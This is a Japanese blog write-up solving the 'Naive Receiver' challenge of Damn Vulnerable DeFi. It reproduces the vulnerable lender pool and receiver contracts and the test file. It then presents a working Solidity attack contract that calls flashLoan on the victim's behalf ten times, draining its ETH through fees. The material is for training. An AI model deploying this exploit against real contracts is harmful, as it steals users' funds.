moon

moon

Build for builders on blockchain
github
twitter

Defiハッカーシリーズ:Damn Vulnerable DeFi (二) - ナイーブレシーバー

ダム脆弱な DeFi は、DeFi スマートコントラクト攻撃チャレンジシリーズです。内容には、フラッシュローン攻撃、貸出プール、オンチェーンオラクルなどが含まれています。始める前に、Solidity および JavaScript に関するスキルが必要です。各問題に対して、あなたが行うべきことは、その問題のユニットテストが通過することを保証することです。

問題リンク:https://www.damnvulnerabledefi.xyz/challenges/2.html

問題の説明:

残高が 1000eth の貸出プールがあり、高額なフラッシュローンサービスを提供しています(フラッシュローンを実行するたびに 1eth の手数料がかかります)。あるユーザーが残高 10eth のスマートコントラクトをデプロイし、貸出プールと相互作用してフラッシュローン操作を行うことができます。あなたの目標は、1 回のトランザクションを使用して、ユーザーのスマートコントラクト内の eth をすべて引き出すことです。

まず、スマートコントラクトのソースコードを見てみましょう。

NaiveReceiverLenderPool.sol 貸出プールコントラクト

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// ReentrancyGuard は再入防止のためのロックを使用します
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Address.sol";

/**
 * @title NaiveReceiverLenderPool
 * @author ダム脆弱なDeFi (https://damnvulnerabledefi.xyz)
 */
contract NaiveReceiverLenderPool is ReentrancyGuard {
    // address型に Address ライブラリを適用
    using Address for address;

    uint256 private constant FIXED_FEE = 1 ether; // フラッシュローンの手数料
		
    // 手数料を取得
    function fixedFee() external pure returns (uint256) {
        return FIXED_FEE;
    }
    
    // フラッシュローンメソッド
    function flashLoan(address borrower, uint256 borrowAmount) external nonReentrant {
        // このスマートコントラクトの残高を取得
        uint256 balanceBefore = address(this).balance;
        // 借りる量が残高を超えないことを期待
        require(balanceBefore >= borrowAmount, "プールに十分なETHがありません");
        
        // 借り手 borrower はコントラクトアドレスでなければならず、通常のアドレスではいけません
        require(borrower.isContract(), "借り手はデプロイされたコントラクトでなければなりません");

        // ETHを転送し、受信者に制御を渡します
        // 借り手の receiveEther メソッドを呼び出します
        borrower.functionCallWithValue(
            abi.encodeWithSignature(
                "receiveEther(uint256)",
                FIXED_FEE
            ),
            borrowAmount
        );
        
        // 最後に、残高が以前の残高に今回のフラッシュローンの手数料を加えたものであることを確認します
        require(
            address(this).balance >= balanceBefore + FIXED_FEE,
            "フラッシュローンが返済されていません"
        );
    }

    // ETHの預け入れを許可
    receive () external payable {}
}

このコントラクトはまず address 型に Address ライブラリを適用し、address 型の変数が Address ライブラリ内のメソッドを呼び出せるようにします。

次に、フラッシュローンの手数料を 1 eth に設定します。

最後に、フラッシュローンのメソッドを提供します。

  • 借りる量が自身の残高より少ないことを確認します。

  • isContract メソッドを使用して、借りるアドレスがコントラクトアドレスであることを確認します。

    function isContract(address account) internal view returns (bool) {
    	return account.code.length > 0;
    }
    
  • Address ライブラリの functionCallWithValue メソッドを呼び出して、借り手の receiveEther メソッドを実行します。まず、library Address 内の関連メソッドの実装を見てみましょう。

    // target: 目標コントラクト (つまりborrower) 外部からライブラリメソッドを呼び出す際は、最初の引数が呼び出し元であることに注意
    // data: 呼び出すメソッドを calldata に変換 (コントラクトメソッドの呼び出しはすべてcalldataを介して行われます)
    // value: 送信する金額
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        // 残高が十分であることを確認
        require(address(this).balance >= value, "Address: callのための残高が不足しています");
        // targetがコントラクトアドレスであることを確認
        require(isContract(target), "Address: 非コントラクトへの呼び出し");
        
        // calldataを介して呼び出し(つまりborrower内のreceiveEtherを呼び出します)
        (bool success, bytes memory returndata) = target.call{value: value}(data);
        
        // 呼び出し結果を検証
        return verifyCallResult(success, returndata, errorMessage);
    }
    
    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            // 呼び出しが成功せず、戻り値が存在する場合
            if (returndata.length > 0) {
                // インラインアセンブリを使用して戻り値を読み込み、直接revertします
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                // 呼び出しが成功せず、戻り値が存在しない場合、直接revertします
                revert(errorMessage);
            }
        }
    }
    

次に、フラッシュローンを実行するコントラクト FlashLoanReceiver.sol の残高は 10eth です。

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/utils/Address.sol";

/**
 * @title FlashLoanReceiver
 * @author ダム脆弱なDeFi (https://damnvulnerabledefi.xyz)
 */
contract FlashLoanReceiver {
    using Address for address payable;
    
    // 貸出プールアドレス
    address payable private pool;

    constructor(address payable poolAddress) {
        pool = poolAddress;
    }

    // 貸出プールからのコールバックのコントラクトメソッド
    function receiveEther(uint256 fee) public payable {
    	// このメソッドを呼び出すのはプールアドレスでなければなりません
        require(msg.sender == pool, "送信者はプールでなければなりません");
		
        // 返済する必要がある量
        uint256 amountToBeRepaid = msg.value + fee;
        
        // 残高が十分であることを確認
        require(address(this).balance >= amountToBeRepaid, "それほど借りることはできません");
        
        // 借りたお金を操作します(内部的には通常アービトラージ操作)
        _executeActionDuringFlashLoan();

        // 資金をプールアドレスに返します
        pool.sendValue(amountToBeRepaid);
    }

    // 受け取った資金が使用される内部関数
    function _executeActionDuringFlashLoan() internal { }

    // ETHの預け入れを許可
    receive () external payable {}
}

最後に、ユニットテストファイル naive-receiver/naive-receiver.challenge.js を見てみましょう。

const { ethers } = require('hardhat')
const { expect } = require('chai')

describe('[Challenge] Naive receiver', function () {
  let deployer, user, attacker

  // プールには1000 ETHの残高があります
  const ETHER_IN_POOL = ethers.utils.parseEther('1000')

  // レシーバーには10 ETHの残高があります
  const ETHER_IN_RECEIVER = ethers.utils.parseEther('10')

  before(async function () {
    // 3つのアカウントを作成しました
    [deployer, user, attacker] = await ethers.getSigners()

    const LenderPoolFactory = await ethers.getContractFactory('NaiveReceiverLenderPool', deployer)
    const FlashLoanReceiverFactory = await ethers.getContractFactory('FlashLoanReceiver', deployer)

    this.pool = await LenderPoolFactory.deploy()
      
    // deployer がプールアドレスに1000 ETHを送信しました
    await deployer.sendTransaction({ to: this.pool.address, value: ETHER_IN_POOL })
    // 転送が成功したことを確認
    expect(await ethers.provider.getBalance(this.pool.address)).to.be.equal(ETHER_IN_POOL)
    // 残高を取得できることを確認
    expect(await this.pool.fixedFee()).to.be.equal(ethers.utils.parseEther('1'))

    this.receiver = await FlashLoanReceiverFactory.deploy(this.pool.address)
    // receiver に10 ETHを送信しました
    await deployer.sendTransaction({ to: this.receiver.address, value: ETHER_IN_RECEIVER })
    // 転送が成功したことを確認
    expect(await ethers.provider.getBalance(this.receiver.address)).to.be.equal(ETHER_IN_RECEIVER)
  })

  it('Exploit', async function () {
    /** CODE YOUR EXPLOIT HERE */
  })

  after(async function () {
    /** SUCCESS CONDITIONS */

    // すべてのETHがレシーバーから引き出されました
    expect(
      // receive 残高は0
      await ethers.provider.getBalance(this.receiver.address)
    ).to.be.equal('0')
    expect(
      // プールの残高は1000 + 10
      await ethers.provider.getBalance(this.pool.address)
    ).to.be.equal(ETHER_IN_POOL.add(ETHER_IN_RECEIVER))
  })
})

このテストケースでは、貸出プールコントラクトとフラッシュローンを実行するコントラクトをデプロイした後、それぞれに 1000 ETH と 10 ETH を転送しました。私たちの攻撃コードが実行された後、最終的な期待結果は、フラッシュローンを実行するコントラクトの最終残高が 0 であり、貸出プールコントラクトの最終残高が 1010 であることです。

この問題の鍵は、フラッシュローンを実行するために 1eth の手数料が必要であることです。もし私たちが毎回 0 を借り、10 回借りるなら、10 回後にはフラッシュローンを実行するコントラクトの残高は必ず 0 になります。しかし、問題は 1 回のトランザクションを行うことを要求しています。したがって、内部でフラッシュローンメソッドを 10 回呼び出すスマートコントラクトを作成してみることができます。

NaiveReceiverAttack.sol

pragma solidity ^0.8.0;

import "../naive-receiver/FlashLoanReceiver.sol";
import "../naive-receiver/NaiveReceiverLenderPool.sol";
contract NaiveReceiverAttack {
  NaiveReceiverLenderPool public pool;
  FlashLoanReceiver public receiver;
  
  // 貸出プールコントラクトとフラッシュローンを実行するコントラクトを初期化します。
  constructor (address payable _pool, address payable _receiver) {
    pool = NaiveReceiverLenderPool(_pool);
    receiver = FlashLoanReceiver(_receiver);
  }
  
  // 攻撃メソッド: receiver に手数料を支払うのに十分な残高がある限り、フラッシュローン操作を行います
  function attack () external {
    // 手数料の値を取得
    uint fee = pool.fixedFee();
    while (address(receiver).balance >= fee) {
      pool.flashLoan(address(receiver), 0);
    }
  }
}

最後に、テストファイルで私たちの攻撃コントラクトをデプロイします。

it('Exploit', async function () {
  const AttackFactory = await  ethers.getContractFactory('NaiveReceiverAttack', deployer)
  this.attacker = await AttackFactory.deploy(this.pool.address, this.receiver.address)
  // 攻撃メソッドを実行
  await this.attacker.attack()
})

最後に yarn naive-receiver を実行してテストを通過させます。

完全なコード

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。